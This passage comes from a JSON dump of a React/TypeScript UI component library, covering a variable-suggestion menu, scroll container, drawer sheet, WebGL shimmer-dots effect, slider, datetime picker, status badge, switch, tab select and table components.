{\n        command({ id: item, fallback: null });\n        return;\n      }\n      setPendingVar(item);\n      setFallback(\"\");\n    };\n\n    const confirmFallback = () => {\n      if (!pendingVar) return;\n      command({ id: pendingVar, fallback: fallback.trim() || null });\n    };\n\n    const cancelFallback = () => {\n      setPendingVar(null);\n      setFallback(\"\");\n    };\n\n    useEffect(() => setSelectedIndex(0), [items]);\n\n    useImperativeHandle(ref, () => ({\n      onKeyDown: ({ event }: { event: KeyboardEvent }) => {\n        if (pendingVar) {\n          if (event.key === \"Enter\") {\n            event.preventDefault();\n            confirmFallback();\n            return true;\n          }\n          if (event.key === \"Escape\") {\n            cancelFallback();\n            return true;\n          }\n          return false;\n        }\n\n        if (event.key === \"ArrowUp\") {\n          upHandler();\n          return true;\n        }\n\n        if (event.key === \"ArrowDown\") {\n          downHandler();\n          return true;\n        }\n\n        if (event.key === \"Enter\") {\n          if (\n            items.length > 0 &&\n            selectedIndex >= 0 &&\n            selectedIndex < items.length\n          ) {\n            selectVar(items[selectedIndex]);\n            return true;\n          }\n          return false;\n        }\n\n        return false;\n      },\n    }));\n\n    if (pendingVar) {\n      return (\n        <div className=\"border-border-subtle flex w-64 flex-col gap-2 rounded-lg border bg-white p-2 shadow-sm\">\n          <span className=\"w-fit rounded bg-blue-100 px-1 py-0.5 font-mono text-xs font-semibold text-blue-700\">\n            {pendingVar}\n          </span>\n\n          <div className=\"flex flex-col gap-1\">\n            <Input\n              ref={(el) => {\n                inputRef.current = el;\n                el?.focus();\n              }}\n              value={fallback}\n              onChange={(e) => setFallback(e.target.value)}\n              onKeyDown={(e) => {\n                if (e.key === \"Enter\") {\n                  e.preventDefault();\n                  confirmFallback();\n                } else if (e.key === \"Escape\") {\n                  cancelFallback();\n                }\n              }}\n              placeholder=\"Fallback (optional)\"\n              className=\"h-8 rounded-lg\"\n            />\n            <p className=\"text-content-subtle text-xs\">\n              Used only if {pendingVar} is missing.\n            </p>\n          </div>\n\n          <div className=\"flex justify-end gap-1\">\n            <Button\n              text=\"Back\"\n              variant=\"secondary\"\n              className=\"h-7 w-fit rounded-lg px-3 py-2 text-sm\"\n              onClick={cancelFallback}\n            />\n            <Button\n              text=\"Confirm\"\n              variant=\"primary\"\n              className=\"h-7 w-fit rounded-lg px-3 py-2 text-sm\"\n              onClick={confirmFallback}\n            />\n          </div>\n        </div>\n      );\n    }\n\n    return (\n      <div className=\"border-border-subtle flex flex-col rounded-lg border bg-white p-1 shadow-sm\">\n        {items.length ? (\n          items.map((item, index) => (\n            <button\n              key={index}\n              type=\"button\"\n              onMouseDown={(e) => e.preventDefault()}\n              onClick={() => selectVar(item)}\n              data-selected={selectedIndex === index}\n              onPointerEnter={() => setSelectedIndex(index)}\n              className={menuItemClassName}\n            >\n              {item}\n            </button>\n          ))\n        ) : (\n          <div\n            className={cn(menuItemClassName, \"text-content-subtle font-sans\")}\n          >\n            No results\n          </div>\n        )}\n      </div>\n    );\n  },\n);\n"
  },
  {
    "path": "packages/ui/src/scroll-container.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { PropsWithChildren, useRef } from \"react\";\nimport { useScrollProgress } from \"./hooks/use-scroll-progress\";\n\nexport function ScrollContainer({\n  children,\n  className,\n}: PropsWithChildren<{ className?: string }>) {\n  const ref = useRef<HTMLDivElement>(null);\n\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(ref);\n\n  return (\n    <div className=\"relative\">\n      <div\n        className={cn(\n          // clip-path is used to fix a weird bug in WebKit where scrolled-out-of-view content is still interactible\n          \"scrollbar-hide h-full w-screen overflow-y-scroll [clip-path:inset(0)] sm:w-auto\",\n          className,\n        )}\n        ref={ref}\n        onScroll={updateScrollProgress}\n      >\n        {children}\n      </div>\n      {/* Bottom scroll fade */}\n      <div\n        className=\"pointer-events-none absolute bottom-0 left-0 z-10 hidden h-16 w-full rounded-b-lg bg-gradient-to-t from-white to-transparent sm:block\"\n        style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/sheet.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { ComponentProps } from \"react\";\nimport { ContentProps, Drawer } from \"vaul\";\n\nfunction SheetRoot({\n  children,\n  contentProps,\n  nested = false,\n  ...rest\n}: { contentProps?: ContentProps; nested?: boolean } & ComponentProps<\n  typeof Drawer.Root\n>) {\n  const RootComponent = nested ? Drawer.NestedRoot : Drawer.Root;\n  return (\n    <RootComponent direction=\"right\" handleOnly {...rest}>\n      <Drawer.Portal>\n        <Drawer.Overlay\n          className=\"fixed inset-0 z-40 bg-black/20\"\n          data-sheet-overlay\n        />\n        <Drawer.Content\n          {...contentProps}\n          onPointerDownOutside={(e) => {\n            // Don't dismiss when clicking inside a toast\n            if (\n              e.target instanceof Element &&\n              e.target.closest(\"[data-sonner-toast]\")\n            )\n              e.preventDefault();\n\n            contentProps?.onPointerDownOutside?.(e);\n          }}\n          className={cn(\n            \"@container/sheet fixed bottom-2 right-2 top-2 z-40 flex outline-none\",\n            \"w-[min(var(--sheet-width),calc(100%-2*var(--sheet-margin)))] [--sheet-margin:8px] [--sheet-width:540px]\",\n            contentProps?.className,\n          )}\n          style={\n            // 8px between edge of screen and drawer\n            {\n              \"--initial-transform\": \"calc(100% + 8px)\",\n              userSelect: \"auto\", // Override default user-select: none from Vaul\n              ...contentProps?.style,\n            } as React.CSSProperties\n          }\n        >\n          <div className=\"scrollbar-hide flex size-full grow flex-col overflow-y-auto rounded-xl bg-white\">\n            {children}\n          </div>\n        </Drawer.Content>\n      </Drawer.Portal>\n    </RootComponent>\n  );\n}\n\nfunction Title({ className, ...rest }: ComponentProps<typeof Drawer.Title>) {\n  return (\n    <Drawer.Title\n      className={cn(\"text-lg font-semibold text-neutral-900\", className)}\n      {...rest}\n    />\n  );\n}\n\nfunction Description(props: ComponentProps<typeof Drawer.Description>) {\n  return <Drawer.Description {...props} />;\n}\n\nfunction Close(props: ComponentProps<typeof Drawer.Close>) {\n  return <Drawer.Close {...props} />;\n}\n\nexport const Sheet = Object.assign(SheetRoot, {\n  Title,\n  Description,\n  Close,\n});\n"
  },
  {
    "path": "packages/ui/src/shimmer-dots.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { useEffect, useRef, useState } from \"react\";\n\nconst vertexShader = `\nattribute vec2 position;\n\nvoid main() \n{\n    gl_Position = vec4(position, 0.0, 1.0);\n}\n`;\n\nconst fragmentShader = `\nprecision mediump float;\n\nuniform vec2 resolution;\nuniform float time;\nuniform float dotSize;\nuniform float cellSize;\nuniform float speed;\nuniform vec3 color;\n\n// Gold noise: https://stackoverflow.com/a/28095165\nfloat PHI = 1.61803398874989484820459; \nfloat random(in vec2 xy){\n    return fract(tan(distance(xy*PHI, xy))*xy.x);\n}\n\nvoid main(void) {\n  vec2 uv = gl_FragCoord.xy;\n\n  vec2 cellUv = vec2(int(uv.x / cellSize), int(uv.y / cellSize));\n  float id = random(cellUv + 1.0);\n\n  float fadeEffect = (sin(time * speed + id * 20.0) + 1.0) * 0.5;\n  \n  vec2 dotUv = fract(uv / cellSize);\n  float dot = step(max(dotUv.x, dotUv.y), dotSize / cellSize);\n\n  float opacity = dot * fadeEffect;\n\n  vec4 fragColor = vec4(color, opacity);\n  fragColor.rgb *= fragColor.a;\n\n  gl_FragColor = fragColor;\n}\n`;\n\nconst TARGET_FPS = 60;\nconst FRAME_INTERVAL = 1000 / TARGET_FPS;\n\nexport function ShimmerDots({\n  dotSize = 1,\n  cellSize = 3,\n  speed = 5,\n  color = [0, 0, 0],\n  className,\n}: {\n  dotSize?: number;\n  cellSize?: number;\n  speed?: number;\n  color?: [number, number, number];\n  className?: string;\n}) {\n  const canvasRef = useRef<HTMLCanvasElement>(null);\n\n  // Whether the WebGL context has been lost\n  const [contextLost, setContextLost] = useState(false);\n\n  useEffect(() => {\n    const canvas = canvasRef.current;\n    if (!canvas || !canvas.parentElement) return;\n\n    const parent = canvas.parentElement;\n    const devicePixelRatio = window.devicePixelRatio || 1;\n    canvas.width = parent.clientWidth * devicePixelRatio;\n    canvas.height = parent.clientHeight * devicePixelRatio;\n\n    const gl = canvas.getContext(\"webgl\", {\n      powerPreference: \"low-power\",\n      depth: false,\n      stencil: false,\n    });\n\n    if (gl === null) {\n      console.error(\"Failed to initialize WebGL\");\n      return;\n    }\n\n    const shaderProgram = gl.createProgram();\n    if (!shaderProgram) {\n      console.error(\"Failed to create shader program\");\n      return;\n    }\n\n    for (let i = 0; i < 2; ++i) {\n      const source = i === 0 ? vertexShader : fragmentShader;\n      const shaderObj = gl.createShader(\n        i === 0 ? gl.VERTEX_SHADER : gl.FRAGMENT_SHADER,\n      );\n      if (!shaderObj) {\n        console.error(\"Failed to create shader\");\n        return;\n      }\n      gl.shaderSource(shaderObj, source);\n      gl.compileShader(shaderObj);\n      if (!gl.getShaderParameter(shaderObj, gl.COMPILE_STATUS))\n        console.error(gl.getShaderInfoLog(shaderObj));\n      gl.attachShader(shaderProgram, shaderObj);\n      gl.linkProgram(shaderProgram);\n    }\n\n    if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS))\n      console.error(gl.getProgramInfoLog(shaderProgram));\n\n    const position = gl.getAttribLocation(shaderProgram, \"position\");\n    const time = gl.getUniformLocation(shaderProgram, \"time\");\n    const resolution = gl.getUniformLocation(shaderProgram, \"resolution\");\n    const dotSizeUniform = gl.getUniformLocation(shaderProgram, \"dotSize\");\n    const cellSizeUniform = gl.getUniformLocation(shaderProgram, \"cellSize\");\n    const speedUniform = gl.getUniformLocation(shaderProgram, \"speed\");\n    const colorUniform = gl.getUniformLocation(shaderProgram, \"color\");\n\n    gl.useProgram(shaderProgram);\n\n    const pos = [1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, -1.0];\n    const positionBuffer = gl.createBuffer();\n    gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);\n    gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(pos), gl.STATIC_DRAW);\n\n    gl.enableVertexAttribArray(position);\n    gl.vertexAttribPointer(position, 2, gl.FLOAT, false, 0, 0);\n\n    gl.uniform1f(dotSizeUniform, dotSize * window.devicePixelRatio);\n    gl.uniform1f(cellSizeUniform, cellSize * window.devicePixelRatio);\n    gl.uniform1f(speedUniform, speed);\n    gl.uniform3f(colorUniform, color[0], color[1], color[2]);\n\n    let animationFrameId: number;\n    let lastTimestamp = 0;\n\n    function render(timestamp: number) {\n      // Skip unncessary frames\n      if (timestamp - lastTimestamp < FRAME_INTERVAL) {\n        animationFrameId = requestAnimationFrame(render);\n        return;\n      }\n\n      lastTimestamp = timestamp;\n\n      if (gl && canvas && shaderProgram) {\n        gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);\n\n        gl.uniform1f(time, timestamp / 1000.0);\n        gl.uniform2f(resolution, canvas.width, canvas.height);\n        gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);\n      }\n      animationFrameId = requestAnimationFrame(render);\n    }\n\n    animationFrameId = requestAnimationFrame(render);\n\n    // We'll just hide the canvas when the context is lost since it's generally non-essential\n    canvas.addEventListener(\"webglcontextlost\", (e) => {\n      e.preventDefault();\n      setContextLost(true);\n      cancelAnimationFrame(animationFrameId);\n    });\n\n    return () => {\n      cancelAnimationFrame(animationFrameId);\n      canvas.removeEventListener(\"webglcontextlost\", () => {});\n    };\n  }, [dotSize, cellSize, speed]);\n\n  return (\n    <div\n      className={cn(\"absolute inset-0\", className, contextLost && \"opacity-0\")}\n    >\n      <canvas\n        ref={canvasRef}\n        width=\"100%\"\n        height=\"100%\"\n        className=\"size-full\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/slider.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport * as RadixSlider from \"@radix-ui/react-slider\";\nimport { ReactNode } from \"react\";\n\ninterface SliderProps {\n  value: number;\n  onChange: (value: number) => void;\n  min: number;\n  max: number;\n  step?: number;\n  marks?: number[];\n  className?: string;\n  hint?: ReactNode;\n  disabled?: boolean;\n}\n\nexport function Slider({\n  value,\n  onChange,\n  min,\n  max,\n  step = 1,\n  marks,\n  className,\n  hint,\n  disabled,\n}: SliderProps) {\n  const sliderMarks = marks || [\n    min,\n    min + (max - min) / 3,\n    min + (2 * (max - min)) / 3,\n    max,\n  ];\n\n  return (\n    <div\n      className={cn(\n        \"relative z-0 [--thumb-radius:13px] [--track-height:16px]\",\n        className,\n      )}\n    >\n      <div className=\"w-full\">\n        <RadixSlider.Root\n          className=\"relative flex h-8 w-full items-center\"\n          value={[value]}\n          min={min}\n          max={max}\n          step={step}\n          onValueChange={([v]: number[]) => onChange(v)}\n          disabled={disabled}\n          aria-label=\"Slider\"\n        >\n          <RadixSlider.Track className=\"relative h-[var(--track-height)] w-full overflow-visible rounded-full bg-neutral-200\">\n            {/* Start of filled track (since actual filled track is inset by the thumb radius) */}\n            <div className=\"absolute left-0 top-0 h-full w-[var(--thumb-radius)] rounded-l-full bg-black\" />\n\n            <div className=\"pointer-events-none absolute inset-x-[var(--thumb-radius)] inset-y-0\">\n              <RadixSlider.Range className=\"absolute h-[var(--track-height)] bg-black\" />\n\n              {sliderMarks.map((mark) => {\n                const left = ((mark - min) / (max - min)) * 100;\n\n                return (\n                  <span\n                    key={mark}\n                    className=\"absolute top-1/2 size-2 -translate-x-1/2 -translate-y-1/2 rounded-full bg-white\"\n                    style={{ left: `${left}%` }}\n                  />\n                );\n              })}\n            </div>\n          </RadixSlider.Track>\n\n          <RadixSlider.Thumb className=\"z-20 flex size-[calc(var(--thumb-radius)*2)] items-center justify-center rounded-full border-0 bg-white shadow-[0_2px_2px_rgba(0,0,0,0.10),0_3px_3px_rgba(0,0,0,0.09)]\">\n            <span className=\"block size-[calc(var(--thumb-radius)*1.23)] rounded-full bg-[#171717]\" />\n          </RadixSlider.Thumb>\n        </RadixSlider.Root>\n\n        {hint && (\n          <div className=\"mt-2 min-h-[1rem] text-xs text-neutral-500\">\n            {hint}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/smart-datetime-picker.tsx",
    "content": "import {\n  cn,\n  formatDateTime,\n  getDateTimeLocal,\n  parseDateTime,\n} from \"@dub/utils\";\nimport { useEffect, useId, useRef } from \"react\";\n\ninterface SmartDateTimePickerProps {\n  value: Date | null | undefined;\n  onChange: (date: Date | null) => void;\n  label?: string;\n  placeholder?: string;\n  className?: string;\n  required?: boolean;\n  autoFocus?: boolean;\n}\n\nexport function SmartDateTimePicker({\n  value,\n  onChange,\n  label,\n  placeholder = 'E.g. \"tomorrow at 5pm\" or \"in 2 hours\"',\n  className,\n  required,\n  autoFocus = false,\n}: SmartDateTimePickerProps) {\n  const id = useId();\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  // Hacky fix to focus the input automatically, not sure why autoFocus doesn't work here\n  useEffect(() => {\n    if (inputRef.current && autoFocus) {\n      setTimeout(() => {\n        inputRef.current?.focus();\n      }, 10);\n    }\n  }, [autoFocus]);\n\n  return (\n    <div className=\"flex flex-col gap-2\">\n      {label && (\n        <div className=\"flex items-center gap-2\">\n          <label\n            htmlFor={`${id}-datetime`}\n            className=\"block text-sm font-medium text-neutral-700\"\n          >\n            {label}\n          </label>\n        </div>\n      )}\n      <div\n        className={cn(\n          \"flex w-full items-center justify-between rounded-md border border-neutral-300 bg-white shadow-sm transition-all focus-within:border-neutral-800 focus-within:outline-none focus-within:ring-1 focus-within:ring-neutral-500\",\n          className,\n        )}\n      >\n        <input\n          ref={inputRef}\n          id={`${id}-datetime`}\n          type=\"text\"\n          placeholder={placeholder}\n          defaultValue={value ? formatDateTime(value) : \"\"}\n          onBlur={(e) => {\n            if (e.target.value.length > 0) {\n              const parsedDateTime = parseDateTime(e.target.value);\n              if (parsedDateTime) {\n                onChange(parsedDateTime);\n                e.target.value = formatDateTime(parsedDateTime);\n              }\n            }\n          }}\n          onKeyDown={(e) => {\n            if (e.key === \"Enter\" && inputRef.current) {\n              e.preventDefault();\n              const parsedDateTime = parseDateTime(inputRef.current.value);\n              if (parsedDateTime) {\n                onChange(parsedDateTime);\n                inputRef.current.value = formatDateTime(parsedDateTime);\n              }\n            }\n          }}\n          className=\"flex-1 border-none bg-transparent text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n        />\n        <input\n          type=\"datetime-local\"\n          id={`${id}-datetime-local`}\n          required={required}\n          value={value ? getDateTimeLocal(value) : \"\"}\n          onChange={(e) => {\n            const date = new Date(e.target.value);\n            onChange(date);\n            if (inputRef.current) {\n              inputRef.current.value = formatDateTime(date);\n            }\n          }}\n          className=\"w-[40px] border-none bg-transparent text-neutral-500 focus:outline-none focus:ring-0 sm:text-sm\"\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/status-badge.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { cva, type VariantProps } from \"class-variance-authority\";\nimport {\n  CircleCheck,\n  CircleHalfDottedCheck,\n  CircleHalfDottedClock,\n  CircleInfo,\n  CircleWarning,\n  Icon,\n} from \"./icons\";\nimport { DynamicTooltipWrapper } from \"./tooltip\";\n\nconst statusBadgeVariants = cva(\n  \"flex gap-1.5 items-center max-w-fit rounded-md px-2 py-1 text-xs font-medium whitespace-nowrap\",\n  {\n    variants: {\n      variant: {\n        neutral: \"bg-neutral-500/[.15] text-neutral-600\",\n        new: \"bg-blue-500/[.15] text-blue-600\",\n        success: \"bg-green-500/[.15] text-green-600\",\n        pending: \"bg-orange-500/[.15] text-orange-600\",\n        warning: \"bg-yellow-500/[.15] text-yellow-600\",\n        error: \"bg-red-500/[.15] text-red-600\",\n      },\n      size: {\n        sm: \"px-1.5 py-0.5\",\n        md: \"px-2 py-1\",\n      },\n    },\n    defaultVariants: {\n      variant: \"neutral\",\n    },\n  },\n);\n\nconst defaultIcons = {\n  neutral: CircleInfo,\n  new: CircleHalfDottedCheck,\n  success: CircleCheck,\n  pending: CircleHalfDottedClock,\n  warning: CircleWarning,\n  error: CircleWarning,\n};\n\ninterface BadgeProps\n  extends React.HTMLAttributes<HTMLSpanElement>,\n    VariantProps<typeof statusBadgeVariants> {\n  icon?: Icon | null;\n  tooltip?: string | React.ReactNode;\n}\n\nfunction StatusBadge({\n  className,\n  variant,\n  size,\n  icon,\n  tooltip,\n  onClick,\n  children,\n  ...props\n}: BadgeProps) {\n  const Icon =\n    icon !== null ? icon ?? defaultIcons[variant ?? \"neutral\"] : null;\n\n  return (\n    <DynamicTooltipWrapper tooltipProps={{ content: tooltip }}>\n      <span\n        className={cn(\n          statusBadgeVariants({ variant, size }),\n          tooltip && \"cursor-help\",\n          onClick &&\n            \"cursor-pointer select-none transition-[filter] duration-150 hover:brightness-75 hover:saturate-[1.25]\",\n          className,\n        )}\n        onClick={onClick}\n        {...props}\n      >\n        {Icon && <Icon className=\"h-3 w-3 shrink-0\" />}\n        {children}\n      </span>\n    </DynamicTooltipWrapper>\n  );\n}\n\nexport { StatusBadge, statusBadgeVariants };\n"
  },
  {
    "path": "packages/ui/src/styles.css",
    "content": "@tailwind base;\n@tailwind components;\n@tailwind utilities;\n"
  },
  {
    "path": "packages/ui/src/switch.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport * as SwitchPrimitive from \"@radix-ui/react-switch\";\nimport { Dispatch, ReactNode, SetStateAction, useMemo } from \"react\";\nimport { Tooltip } from \"./tooltip\";\n\nexport function Switch({\n  fn,\n  id,\n  trackDimensions,\n  thumbDimensions,\n  thumbTranslate,\n  thumbIcon,\n  checked = true,\n  loading = false,\n  disabled = false,\n  disabledTooltip,\n}: {\n  fn?: Dispatch<SetStateAction<boolean>> | ((checked: boolean) => void);\n  id?: string;\n  trackDimensions?: string;\n  thumbDimensions?: string;\n  thumbTranslate?: string;\n  thumbIcon?: ReactNode;\n  checked?: boolean;\n  loading?: boolean;\n  disabled?: boolean;\n  disabledTooltip?: string | ReactNode;\n}) {\n  const switchDisabled = useMemo(() => {\n    return disabledTooltip ? true : disabled || loading;\n  }, [disabledTooltip, disabled, loading]);\n\n  const switchRoot = (\n    <SwitchPrimitive.Root\n      checked={loading ? false : checked}\n      name=\"switch\"\n      id={id}\n      {...(fn && { onCheckedChange: fn })}\n      disabled={switchDisabled}\n      className={cn(\n        \"radix-state-checked:bg-blue-500 radix-state-unchecked:bg-neutral-200 relative inline-flex h-4 w-8 flex-shrink-0 cursor-pointer rounded-full border-2 border-transparent transition-colors duration-200 ease-in-out\",\n        \"focus:outline-none focus-visible:ring focus-visible:ring-blue-500 focus-visible:ring-opacity-75\",\n        \"data-[disabled]:cursor-not-allowed\",\n        trackDimensions,\n      )}\n    >\n      <SwitchPrimitive.Thumb\n        className={cn(\n          `radix-state-checked:${thumbTranslate}`,\n          \"radix-state-unchecked:translate-x-0\",\n          `pointer-events-none h-3 w-3 translate-x-4 transform rounded-full bg-white shadow-lg ring-0 transition duration-200 ease-in-out`,\n          thumbDimensions,\n          thumbTranslate,\n        )}\n      >\n        {thumbIcon}\n      </SwitchPrimitive.Thumb>\n    </SwitchPrimitive.Root>\n  );\n\n  if (disabledTooltip) {\n    return (\n      <Tooltip content={disabledTooltip}>\n        <div className=\"inline-block leading-none\">{switchRoot}</div>\n      </Tooltip>\n    );\n  }\n\n  return switchRoot;\n}\n"
  },
  {
    "path": "packages/ui/src/tab-select.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { cva, VariantProps } from \"class-variance-authority\";\nimport { LayoutGroup, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { Dispatch, SetStateAction, useId } from \"react\";\nimport { ArrowUpRight } from \"./icons\";\n\nconst tabSelectButtonVariants = cva(\"p-4 transition-colors duration-75\", {\n  variants: {\n    variant: {\n      default:\n        \"text-content-subtle data-[selected=true]:text-content-emphasis data-[selected=false]:hover:text-content-default\",\n      accent:\n        \"text-content-subtle transition-[color,font-weight] data-[selected=true]:text-blue-600 data-[selected=false]:hover:text-content-default data-[selected=true]:font-medium\",\n    },\n  },\n  defaultVariants: {\n    variant: \"default\",\n  },\n});\n\nconst tabSelectIndicatorVariants = cva(\"absolute bottom-0 w-full px-1.5\", {\n  variants: {\n    variant: {\n      default: \"text-bg-inverted\",\n      accent: \"text-blue-600\",\n    },\n  },\n  defaultVariants: {\n    variant: \"default\",\n  },\n});\n\nexport function TabSelect<T extends string>({\n  variant,\n  options,\n  selected,\n  onSelect,\n  className,\n}: VariantProps<typeof tabSelectButtonVariants> & {\n  options: { id: T; label: string; href?: string; target?: string }[];\n  selected: string | null;\n  onSelect?: Dispatch<SetStateAction<T>> | ((id: T) => void);\n  className?: string;\n}) {\n  const layoutGroupId = useId();\n\n  return (\n    <div className={cn(\"flex text-sm\", className)}>\n      <LayoutGroup id={layoutGroupId}>\n        {options.map(({ id, label, href, target }) => {\n          const isSelected = id === selected;\n          const As = href ? Link : \"div\";\n          return (\n            <As\n              key={id}\n              className=\"relative\"\n              href={href ?? \"#\"}\n              target={target ?? undefined}\n            >\n              <button\n                type=\"button\"\n                {...(onSelect && !href && { onClick: () => onSelect(id) })}\n                className={cn(\n                  tabSelectButtonVariants({ variant }),\n                  target === \"_blank\" && \"group flex items-center gap-1.5\",\n                )}\n                data-selected={isSelected}\n                aria-selected={isSelected}\n              >\n                {label}\n                {target === \"_blank\" && <ArrowUpRight className=\"size-2.5\" />}\n              </button>\n              {isSelected && (\n                <motion.div\n                  layoutId=\"indicator\"\n                  transition={{\n                    duration: 0.1,\n                  }}\n                  className={tabSelectIndicatorVariants({ variant })}\n                >\n                  <div className=\"h-0.5 rounded-t-full bg-current\" />\n                </motion.div>\n              )}\n            </As>\n          );\n        })}\n      </LayoutGroup>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/table/edit-columns-button.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { Table } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useState } from \"react\";\nimport { Button } from \"../button\";\nimport { Gear } from \"../icons\";\nimport { Popover } from \"../popover\";\nimport { ScrollContainer } from \"../scroll-container\";\n\nexport function EditColumnsButton({ table }: { table: Table<any> }) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      content={\n        <ScrollContainer className=\"max-h-[50vh]\">\n          <Command tabIndex={0} loop>\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[130px]\">\n              {table\n                .getAllColumns()\n                .filter((c) => c.getCanHide())\n                .map((column) => (\n                  <Command.Item\n                    key={column.id}\n                    className={cn(\n                      \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md px-3 py-1.5\",\n                      \"data-[selected=true]:bg-neutral-100\",\n                    )}\n                    onSelect={() => column.toggleVisibility()}\n                  >\n                    <input\n                      checked={column.getIsVisible()}\n                      type=\"checkbox\"\n                      className=\"h-3 w-3 rounded-full border-neutral-300 text-black focus:outline-none focus:ring-0\"\n                      disabled\n                    />\n                    {column.columnDef.header?.toString()}\n                  </Command.Item>\n                ))}\n            </Command.List>\n          </Command>\n        </ScrollContainer>\n      }\n      align=\"end\"\n    >\n      <Button\n        type=\"button\"\n        className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n        variant=\"outline\"\n        icon={<Gear className=\"h-4 w-4 shrink-0\" />}\n      />\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/table/index.ts",
    "content": "export * from \"./edit-columns-button\";\nexport * from \"./table\";\nexport * from \"./use-table-pagination\";\n"
  },
  {
    "path": "packages/ui/src/table/selection-toolbar.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { Table } from \"@tanstack/react-table\";\nimport { ReactNode, useEffect, useState } from \"react\";\nimport { Checkbox } from \"../checkbox\";\nimport { useKeyboardShortcut } from \"../hooks\";\n\nexport function SelectionToolbar<T>({\n  table,\n  controls,\n  className,\n}: {\n  table: Table<T>;\n  controls?: (table: Table<T>) => ReactNode;\n  className?: string;\n}) {\n  const selectedCount = table.getSelectedRowModel().rows.length;\n  const [lastSelectedCount, setLastSelectedCount] = useState(0);\n\n  useEffect(() => {\n    if (selectedCount !== 0) setLastSelectedCount(selectedCount);\n  }, [selectedCount]);\n\n  useKeyboardShortcut(\"Escape\", () => table.resetRowSelection(), {\n    enabled: selectedCount > 0,\n    priority: 2, // Take priority over clearing filters\n    modal: false,\n  });\n\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle w-full border-b bg-white\",\n        \"transition-opacity duration-100\",\n        selectedCount > 0\n          ? \"pointer-events-auto opacity-100\"\n          : \"pointer-events-none opacity-0\",\n        className,\n      )}\n      inert={selectedCount === 0}\n    >\n      <div className=\"flex h-11 items-center py-2.5 pr-2\">\n        <div className=\"relative flex h-full w-12 shrink-0 items-center justify-center\">\n          <button\n            type=\"button\"\n            className=\"absolute inset-0 flex items-center justify-center\"\n            onClick={(e) => {\n              e.stopPropagation();\n              table.toggleAllRowsSelected();\n            }}\n            title=\"Select all\"\n          >\n            <Checkbox\n              className=\"border-border-default pointer-events-none size-4 rounded data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n              checked={\n                table.getIsAllRowsSelected()\n                  ? true\n                  : table.getIsSomeRowsSelected()\n                    ? \"indeterminate\"\n                    : false\n              }\n            />\n          </button>\n        </div>\n        <div className=\"flex min-w-0 items-center gap-2.5 pl-1\">\n          <span\n            className={cn(\n              \"text-content-emphasis mr-2 text-sm font-medium tabular-nums transition-transform duration-150\",\n              selectedCount > 0 ? \"translate-x-0\" : \"-translate-x-1\",\n            )}\n          >\n            {lastSelectedCount} selected\n          </span>\n          <div\n            className={cn(\n              \"flex items-center gap-2 transition-transform duration-150\",\n              selectedCount > 0 ? \"translate-x-0\" : \"-translate-x-1\",\n            )}\n          >\n            {controls?.(table)}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/table/table.tsx",
    "content": "import { cn, deepEqual, isClickOnInteractiveChild } from \"@dub/utils\";\nimport {\n  Column,\n  flexRender,\n  getCoreRowModel,\n  Row,\n  RowSelectionState,\n  Table as TableType,\n  useReactTable,\n  VisibilityState,\n} from \"@tanstack/react-table\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport {\n  CSSProperties,\n  HTMLAttributes,\n  memo,\n  MouseEvent,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n  type JSX,\n  type ReactNode,\n} from \"react\";\nimport { Button } from \"../button\";\nimport { Checkbox } from \"../checkbox\";\nimport { LoadingSpinner, SortOrder } from \"../icons\";\nimport { Tooltip } from \"../tooltip\";\nimport { SelectionToolbar } from \"./selection-toolbar\";\nimport { TableProps, UseTableProps } from \"./types\";\n\nconst SELECT_COLUMN_WIDTH = 48;\nconst MENU_COLUMN_WIDTH = 40;\nconst FIXED_UTILITY_COLUMN_IDS = new Set([\"select\", \"menu\"]);\n\nconst tableCellClassName = (\n  columnId: string,\n  clickable?: boolean,\n  hasSelectBefore?: boolean,\n) =>\n  cn([\n    \"py-2.5 text-left text-sm leading-6 whitespace-nowrap border-border-subtle relative\",\n    \"border-l border-b\",\n    columnId === \"select\" && \"w-12 min-w-12 max-w-12 px-0 py-0\",\n    columnId === \"menu\" && \"bg-bg-default border-l-transparent py-0 px-1\",\n    ![\"select\", \"menu\"].includes(columnId) &&\n      (hasSelectBefore ? \"pl-1 pr-4\" : \"px-4\"),\n    clickable && \"group-hover/row:bg-bg-muted 